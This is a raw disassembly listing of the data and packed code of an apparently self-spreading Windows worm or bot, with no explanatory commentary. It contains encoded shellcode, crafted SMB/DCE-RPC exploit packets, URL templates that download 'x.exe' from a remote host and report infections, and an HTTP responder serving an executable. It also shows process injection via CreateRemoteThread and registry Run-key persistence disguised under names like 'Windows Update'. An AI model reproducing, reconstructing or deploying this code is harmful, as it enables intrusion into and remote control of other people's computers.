		dd 2E656E69h, 7572h, 656C6966h,	72616573h, 722E6863h, 75h
		dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h
		dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh
		dd 782D7265h, 6D6F632Eh, 0
		dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h
		dd 76h,	74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h
		dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h
		dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0
		dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh
		dd 75722E6Bh, 0
dword_314241D4	dd 72617778h, 6A632E65h, 656E2E62h, 74hdword_314241E4	dd 617A616Dh, 616B6166h, 75722Ehdword_314241F0	dd 6578652Eh, 0						; sub_3142207E+55o ...
dword_314241F8	dd 5Ch							; sub_31422A9B+56o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: sub_314211A0+13o
		align 10h
aAbcdefghijkl_0	db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31421316+1Co
		align 4
aAbcdefghijklmn	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31421316+Co
		align 4
aZer0		db 'zer0',0             ; DATA XREF: sub_31421422+34o
		align 10h
aHttpS		db 'http://%s',0        ; DATA XREF: sub_314215C7+71o
		align 4
aHttpSIndex_php	db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=19&cnt=%s',0
					; DATA XREF: sub_314215C7+57o
		align 8
byte_314242B8	db 0EBh			; DATA XREF: sub_31421801+24Eo
					; sub_31421801+260o ...
		db 58h
word_314242BA	dw 7468h		; DATA XREF: sub_31422712+40o
		dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h
		dd 6578652Eh, 4	dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h
		dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh
		dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h,	0DAE80AEBh
		dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h
		dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch
		dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h,	0C999C999h
		dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h
		dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h
		dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h
		dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h
		dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h
		dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h,	99C99998h
		dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h,	98F3C8C8h
		dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h
		dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h
		dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch
		dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh
		dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h
		dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h,	2C66C096h
		dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h
		dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h,	26F434C9h
		dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h
		dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h,	0B7C999C9h
		dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6	dup(99C999C9h)
		dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h
		dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h,	83639D90h
		dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh
		dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h
		dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah,	9BAB9E59h
		dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h
		dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h
		dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh
		dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh
		dd 0
dword_31424580	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_31421801+186o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_3142460C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+1BAo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_314246B8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+1EEo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_31424798	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+8Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_31421801+BFo
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_314247FC	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+2D4o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_31424868	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+308o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_3142490C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+4EEo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
dword_3142498C	dd 401495h, 3, 40707Ch,	1, 0		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 40707Ch, 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_31424A20	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+347o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_31424A8C	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_31421801+372o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_31424B00	dd 0				dd 40A89Ah, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 0
		dd 40A89Ah, 1, 0
		dd 1, 3	dup(0)
		dd 586E6957h, 72502050h, 6Fh, 9	dup(0)
		db 2 dup(0)
dword_31424BBE	dd 1004600h			dw 1
		dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0)
dword_31424BF8	dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0)
					; DATA XREF: sub_31421801+41Bo
					; sub_31421801+45Do
		dd 123C0000h, 751Ch, 0Eh dup(0)
; ---------------------------------------------------------------------------


loc_31424C70:				; DATA XREF: sub_31421801+44Ao
		jmp	short loc_31424C78
; ---------------------------------------------------------------------------
		jmp	short loc_31424C7A
; ---------------------------------------------------------------------------
		align 8


loc_31424C78:				; CODE XREF: UPX0:loc_31424C70j
					; DATA XREF: sub_31421801+5Co
		pop	esp
		pop	esp


loc_31424C7A:				; CODE XREF: UPX0:31424C72j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_31424C84	dd 1CEC8166h	dword_31424C88	dd 0E4FF07h	aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_31421D68+62o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31421D68+39o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31421D68+2Ao
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_31421D68+1Bo
		align 4
aAdvapi32	db 'advapi32',0         ; DATA XREF: sub_31421D68+8o
					; sub_314223B2+12Co
		align 10h
aUterm19	db 'uterm19',0          ; DATA XREF: sub_31421DF0:loc_31421ED5o
					; UPX0:31422351o ...
aShell_traywnd	db 'Shell_TrayWnd',0    ; DATA XREF: sub_31421DF0+58o
		align 4
aCreateremoteth	db 'CreateRemoteThread',0 ; DATA XREF: sub_31421DF0:loc_31421E37o
		align 4
aVirtualallocex	db 'VirtualAllocEx',0   ; DATA XREF: sub_31421DF0+34o
		align 4
aKernel32	db 'kernel32',0         ; DATA XREF: sub_31421DF0+18o
		align 4
dword_31424D38	dd 0E9F3F5h	aHttp1_1200Ok	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+106o
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_3142207E+85o
		db 0Dh,0Ah,0
		align 4
aHttp1_1200OkCo	db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+71o
		db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0
		align 4
aGet		db 'GET',0              ; DATA XREF: sub_3142207E+3Do
aFtpupd_exe	db 'ftpupd.exe',0       ; DATA XREF: UPX0:3142233Co
		align 4
aUser32		db 'user32',0           ; DATA XREF: sub_314223B2+133o
		align 4
aMsvcrt		db 'msvcrt',0           ; DATA XREF: sub_314223B2+125o
		align 4
aWininet	db 'wininet',0          ; DATA XREF: sub_314223B2+11Eo
aWs2_32		db 'ws2_32',0           ; DATA XREF: sub_314223B2+111o
		align 4
aU19x		db 'u19x',0             ; DATA XREF: sub_314223B2+BDo
		align 4
aU19		db 'u19',0              ; DATA XREF: sub_314223B2+B6o
aU18		db 'u18',0              ; DATA XREF: sub_314223B2+AFo
aU17		db 'u17',0              ; DATA XREF: sub_314223B2+A8o
aU16		db 'u16',0              ; DATA XREF: sub_314223B2+A1o
aU15		db 'u15',0              ; DATA XREF: sub_314223B2+9Ao
aU14		db 'u14',0              ; DATA XREF: sub_314223B2+93o
aU13i		db 'u13i',0             ; DATA XREF: sub_314223B2+8Co
		align 4
aU13		db 'u13',0              ; DATA XREF: sub_314223B2+85o
aU12		db 'u12',0              ; DATA XREF: sub_314223B2+7Eo
aU11		db 'u11',0              ; DATA XREF: sub_314223B2+77o
aU10		db 'u10',0              ; DATA XREF: sub_314223B2+70o
aU9		db 'u9',0               ; DATA XREF: sub_314223B2+69o
		align 4
aU8		db 'u8',0               ; DATA XREF: sub_314223B2+62o
		align 4
aU18x		db 'u18x',0             ; DATA XREF: sub_314223B2+5Bo
		align 4
aU17x		db 'u17x',0             ; DATA XREF: sub_314223B2+54o
		align 4
aU16x		db 'u16x',0             ; DATA XREF: sub_314223B2+4Do
		align 4
aU15x		db 'u15x',0             ; DATA XREF: sub_314223B2+46o
		align 4
aU14x		db 'u14x',0             ; DATA XREF: sub_314223B2+3Fo
		align 4
aU13x		db 'u13x',0             ; DATA XREF: sub_314223B2+38o
		align 4
aU12x		db 'u12x',0             ; DATA XREF: sub_314223B2+31o
		align 4
aU11x		db 'u11x',0             ; DATA XREF: sub_314223B2+2Ao
		align 4
aU10x		db 'u10x',0             ; DATA XREF: sub_314223B2+23o
		align 4
aHttpSDX_exe	db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31422712+2Do
		align 4
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_314221C4+23o
					; sub_314229E6+66o ...
		align 4
aCryptographicS	db 'Cryptographic Service',0 ; DATA XREF: sub_314221C4+1Co
					; sub_31422A9B+87o ...
		align 10h
aFgnsdrjyrsert	db 'fgnsdrjyrsert',0    ; DATA XREF: sub_314215C7+4Fo
					; sub_31422B67+57o ...
		align 10h
		dd 2 dup(0)
aSoftwareMicr_0	db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31422B67+32o
aClient		db 'Client',0           ; DATA XREF: sub_31422B67+BCo
					; sub_31422B67+F8o
		align 4
aId		db 'ID',0               ; DATA XREF: sub_31422B67+37o
					; sub_31422B67+75o
		align 10h
aWindowsUpdate	db 'Windows Update',0   ; DATA XREF: sub_314229E6+55o
		align 10h
aMsConfigV13	db 'MS Config v13',0    ; DATA XREF: sub_314229E6+4Eo
		align 10h
aAvserve2_exeup	db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_314229E6+47o
		align 4
aAvserve_exe	db 'avserve.exe',0      ; DATA XREF: sub_314229E6+40o
aWindowsUpdateS	db 'Windows Update Service',0 ; DATA XREF: sub_314229E6+39o
		align 10h
aWinupdate	db 'WinUpdate',0        ; DATA XREF: sub_314229E6+32o
		align 4
aSystray	db 'SysTray',0          ; DATA XREF: sub_314229E6+2Bo
aBotLoader	db 'Bot Loader',0       ; DATA XREF: sub_314229E6+24o
		align 10h
aSystemRestoreS	db 'System Restore Service',0 ; DATA XREF: sub_314229E6+1Do
		align 4
aDiskDefragment	db 'Disk Defragmenter',0 ; DATA XREF: sub_314229E6+16o
		align 4
aWindowsSecurit	db 'Windows Security Manager',0 ; DATA XREF: sub_314229E6+Fo
		align 4
a1:					; DATA XREF: sub_31422B67+B7o
		unicode	0, <1>,0
		dd 7 dup(0)
dword_31424FE8	dd 0							; sub_314221C4+80w
dword_31424FEC	dd 0							; sub_314216A2+53o ...
dword_31424FF0	dd 0							; sub_3142207E:loc_3142212Cr ...
dword_31424FF4	dd 68h							; UPX0:3142235Cw ...
dword_31424FF8	dd 0							; sub_314223B2+CEw
dword_31424FFC	dd 0							; sub_31422712+20r
dword_31425000	dd 31420000h						; UPX0:31422341w
dword_31425004	dd 0							; sub_314216A2+4Ao ...
dword_31425008	dd 0							; UPX0:314227C1w
word_3142500C	dw 0			; DATA XREF: sub_3142255F+3Br
					; sub_314225C3:loc_31422624r ...
		align 10h
dword_31425010	dd 0							; sub_31422B67+110w
		align 1000h
UPX0		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00006000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 31426000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_31426000	dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h
					; DATA XREF: UPX1:31427BB1o
		dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh
		dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h
		dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh
		dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h
		dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h
		dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh
		dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h
		dd 70637274h, 1004179h,	61657243h, 76456574h, 41746E65h
		dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
		dd 44010074h, 74656C65h, 6C694665h, 1004165h, 74697257h
		dd 6C694665h, 43010065h, 65736F6Ch, 646E6148h, 100656Ch
		dd 61657243h, 69466574h, 41656Ch, 74736C01h, 6E656C72h
		dd 6C010041h, 63727473h, 417461h, 74654701h, 74737953h
		dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h
		dd 49656C61h, 416F666Eh, 6C530100h, 706565h, 746E4901h
		dd 6F6C7265h, 64656B63h, 68637845h, 65676E61h, 736C0100h
		dd 70637274h, 416E79h, 74654701h, 72727543h, 50746E65h
		dd 65636F72h, 1007373h,	50746547h, 41636F72h, 65726464h
		dd 1007373h, 64616F4Ch,	7262694Ch, 41797261h, 72570100h
		dd 50657469h, 65636F72h, 654D7373h, 79726F6Dh, 704F0100h
		dd 72506E65h, 7365636Fh, 47010073h, 6F4D7465h, 656C7564h
		dd 646E6148h, 41656Ch, 74654701h, 6B636954h, 6E756F43h
		dd 43010074h, 74616572h, 74754D65h, 417865h, 65724301h
		dd 54657461h, 61657268h, 43010064h, 74616572h, 6F725065h
		dd 73736563h, 53010041h, 76457465h, 746E65h, 65704F01h
		dd 6576456Eh, 41746Eh, 69784501h, 72685474h, 646165h, 746E4901h
		dd 6F6C7265h, 64656B63h, 72636E49h, 6E656D65h, 52010074h
		dd 46646165h, 656C69h, 74654701h, 656C6946h, 657A6953h
		dd 78450100h, 72507469h, 7365636Fh, 47010073h, 614C7465h
		dd 72457473h, 726F72h, 0D100h, 0
		dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h
		dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh
		dd 4579654Bh, 1004178h,	44676552h, 74656C65h, 6C615665h
		dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h
		dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh
		dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h
		dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h
		dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h
		dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h
		dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h
		dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h
		dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h
		dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h
		dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h
		dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h
		dd 337265h, 72747301h, 727473h,	72747301h, 726863h, 0E900h
		dd 11000h, 69460100h, 6957646Eh, 776F646Eh, 47010041h
		dd 6F467465h, 72676572h, 646E756Fh, 646E6957h, 100776Fh
		dd 57746547h, 6F646E69h, 72685477h, 50646165h, 65636F72h
		dd 64497373h, 73770100h, 6E697270h, 416674h, 0F400h, 12400h
		dd 6E490100h, 6E726574h, 704F7465h, 72556E65h, 100416Ch
		dd 65746E49h, 74656E72h, 6E65704Fh, 49010041h, 7265746Eh
		dd 4374656Eh, 65736F6Ch, 646E6148h, 100656Ch, 65746E49h
		dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h
		dd 49010065h, 7265746Eh, 5274656Eh, 46646165h, 656C69h
		dd 10000h, 13C00h, 73FF00h, 0FF0002FFh,	1FF000Dh, 39FF00h
		dd 0FF006FFFh, 17FF0034h, 0CFF00h, 0FF0009FFh, 13FF0004h
		dd 10FF00h, 0FF0016FFh,	3, 50000000h, 4C000045h, 0C8000201h
		dd 40D859h, 0
		dd 0E0000000h, 0B010F00h, 601h,	26h, 12h, 34000000h, 23h
		dd 10h,	40h, 314200h, 10h, 4000002h, 0
		dd 4000000h, 2 dup(0)
		dd 60h,	4, 2000000h, 0
		dd 1000h, 10h, 1000h, 10h, 10000000h, 2	dup(0)
		dd 34000000h, 8C00002Dh, 15h dup(0)
		dd 7C000010h, 1, 5 dup(0)
		dd 2E000000h, 74786574h, 56000000h, 24h, 10h, 26h, 4, 2	dup(0)
		dd 20000000h, 2EE00400h, 61746164h, 14000000h, 10h, 40h
		dd 10h,	2Ah, 2 dup(0)
		dd 40000000h, 0C00000h,	3C000050h, 0C300002Fh, 0A1000054h
		dd 89254BBEh, 0DB43AA85h, 0AEF070A0h, 92A2047Dh, 4EC00F3Ch
		dd 27BE81Ch, 8402F26Ah,	47FC7D1Bh, 0F0024A19h, 0A033E402h
		dd 2164868h, 0D2B735D7h, 0A73D7D03h, 769F6801h,	36E6CCE6h
		dd 3A4A2064h, 1B5AB7CCh, 0DC87B734h, 6A7684E0h,	96F42A70h
		dd 0E6C8E38Ch, 5EC86080h, 7A97640Ah, 273E1B25h,	0A2280084h
		dd 364B003Fh, 3CD9B96Bh, 98B9B26Ch, 0E477BDE2h,	0DC016754h
		dd 317E500Fh, 0C777C3E4h, 0AC683B0Dh, 0D328C00Dh, 0B138CEDCh
		dd 0E56F08C9h, 0DB0C7A04h, 0D2484522h, 0DD2DC5F8h, 0D61B212Fh
		dd 402EDB1Ch, 67012DEh,	4C9039ECh, 40BCF844h, 0C27190D6h
		dd 1BDE5044h, 593B1E10h, 94B7336Fh, 8121970Dh, 67E9ACF9h
		dd 0E87CFEEBh, 1624A580h, 68250600h, 259D1C52h,	1CF25B07h
		dd 96F41276h, 899DE9C3h, 940AEF65h, 7BC87C6Ah, 64B1E3C3h
		dd 0C9BE490Ch, 991DD97Bh, 90E154E4h, 8C9FE924h,	0DCCCC349h
		dd 0CF78242Eh, 2C8248EDh, 0F864052Ch, 66F4150Ch, 3319A002h
		dd 8707A23h, 8F895E74h,	0F4C6DD0Eh, 1C51CC5Fh, 80B3EF9Ch
		dd 7F24E4A1h, 5A435A8h,	0B5D0781Bh, 571282F8h, 5A745737h
		dd 0ACBF931h, 74F80E14h, 9A0684Bh, 0CA28B753h, 2D3D74CEh
		dd 67ED85C9h, 0A0412069h, 0FFC55FFh, 35BAB9E8h,	50E49ED7h
		dd 0E9628ACh, 5B3002F0h, 5547BF4Dh, 8C0009F8h, 681583E4h
		dd 0F475583Bh, 1887EE42h, 851321C5h, 0A90A508Bh, 0BFF77FB6h
		dd 3C418B2Fh, 68C10357h, 488B4D2Ch, 50788B34h, 0A0F44D89h
		dd 0EE062AB4h, 1C68D84Bh, 5D97D81Bh, 0F0F559AAh, 868D201h
		dd 0C18DEC12h, 0ED74C3B1h, 1110D70Dh, 0F46F0E82h, 1409B26Ah
		dd 0F84DF123h, 91762C51h, 18185085h, 892A6897h,	6C54A0E9h
		dd 0CA405DB0h, 46C0ED03h, 0EB346B63h, 9AAB1930h, 596ED578h
		dd 37DF055h, 0AB6745E6h, 0F03EDD4Bh, 53503151h,	9E0AC1Eh
		dd 0F435C4F7h, 17FAD6BDh, 3FEA6D6Ah, 5577D0F1h,	74C73BECh
		dd 1BEB5805h, 5AE57E17h, 25348CBFh, 5FC0E59h, 36E7345Fh
		dd 740807EBh, 0E1FC58EFh, 5F521E86h, 602F5151h,	0B269310Fh
		dd 5C91A144h, 0BAB8250Dh, 0DD20DB42h, 0B213B1AFh, 1133AEECh
		dd 2D590FEBh, 0B66AF9C2h, 99EDC4B1h, 0C803CBCh,	1450A850h
		dd 7D2774D6h, 5DC02C50h, 4459FC19h, 437C20BAh, 247C8B57h
		dd 0A5C58314h, 7E11D25Ah, 641A8717h, 803FFFF5h,	148861C2h
		dd 0F73B461Eh, 2480E97Ch, 0C68C003Bh, 54D5D6DBh, 5F2E448Bh
		dd 5657AC5Ah, 30181DDBh, 2F216674h, 8896DC73h, 50F02EEDh
		dd 565019h, 3C3ACAAh, 9577E134h, 49F44DC4h, 8F6B6E8Ch
		dd 0F00CFA68h, 0C908C7FFh, 349B6996h, 2E2ACC34h, 99AD734Ch
		dd 0A0A75EDh, 1A20BC50h, 3E160118h, 7C654A1h, 13B7FB8h
		dd 0ADF1CE74h, 8B0C407Dh, 51080100h, 5F24448Dh,	9B613421h
		dd 0D31130C5h, 74245903h, 7F84EE8h, 7BBCC15h, 662FC820h
		dd 3333C7FBh, 0C1F8C8E4h, 0B8510E7h, 4679B0D4h,	8B0200B6h
		dd 33125Dh, 0F3702647h,	19DC201h, 53C4EAC9h, 0A311E3C6h
		dd 0F2B57B35h, 0C3255035h, 26B69D83h, 0ADE74880h, 40666CB5h
		dd 41F0179Eh, 0BB683595h, 98CEE331h, 0B76C683Dh, 474FF044h
		dd 19B1606Ch, 0A54D54FEh, 2CC5D314h, 7C54DADCh,	0FC0DFE00h
		dd 33A134BAh, 2B7900B9h, 72C13BC7h, 72C18B02h, 0E1EBB76Fh
		dd 0E8A1292Bh, 23C70318h, 0FE25A3ACh, 233DCC96h, 786A1172h
		dd 0DA3140F8h, 0C4EB3C28h, 7750E113h, 6CF64F26h, 941ED411h
		dd 0CD3C6815h, 0BEE4D62h, 97386803h, 9D663E3Ch,	54533AB5h
		dd 0D0835253h, 8C47E0B1h, 4C29824h, 136D8223h, 0E643098h
		dd 0E8D0B1F7h, 8C316D4h, 0BBEE4E29h, 89574377h,	80686806h
		dd 27841D89h, 5D4F7E18h, 14EC6DA2h, 0F2D4C0h, 0C1345391h
		dd 27B6B6Ch, 80EB3A01h,	9AD468E6h, 1A4DFD77h, 0B34A3678h
		dd 0DCCD2F74h, 677A5EA3h, 0A3650C75h, 53FCA4FEh, 1AD9D251h
		dd 3A865613h, 0DC3E68D8h, 2656D88Ch, 58195EF9h,	0F8DA6A12h
		dd 5E0510C2h, 0EF4B56C0h, 0C6697A4h, 0EC5D89E8h, 0DFFF050Dh
		dd 25EDF760h, 3A041FFFh, 43FCA3C3h, 8A1FE774h, 5FC984CCh
		dd 74E849BDh, 0EA6B50DFh, 64405F42h, 0A51985BAh, 440C6465h
		dd 2BE9AFA3h, 14F85F7Bh, 9E481FD8h, 0FACEADECh,	15207E68h
		dd 0E2EB624Eh, 5CC1CF53h, 455FE142h, 0AC019043h, 70661D7Bh
		dd 0B0333CAEh, 0D30711D6h, 23EDB43h, 803AD6E6h,	9B0D0AF9h
		dd 0ABB068B4h, 74E063A3h, 822B01D8h, 0F4A37B7Ch, 8609D9FBh
		dd 0B73DE4CDh, 29E04552h, 0EECDF670h, 1904640Dh, 68631BE2h
		dd 0EC1323B2h, 5C344FB5h, 1386EB13h, 0B06099AEh, 3569FB1Ah
		dd 397044F8h, 90252C40h, 0D2908F93h, 70CDC864h,	90458C13h
		dd 9406EF5Ch, 72391C54h, 9C4C98E4h, 0A43CA044h,	47239134h
		dd 0AC2CA88Eh, 391CB024h, 0B4C8E472h, 0BC14B818h, 9F0CC010h
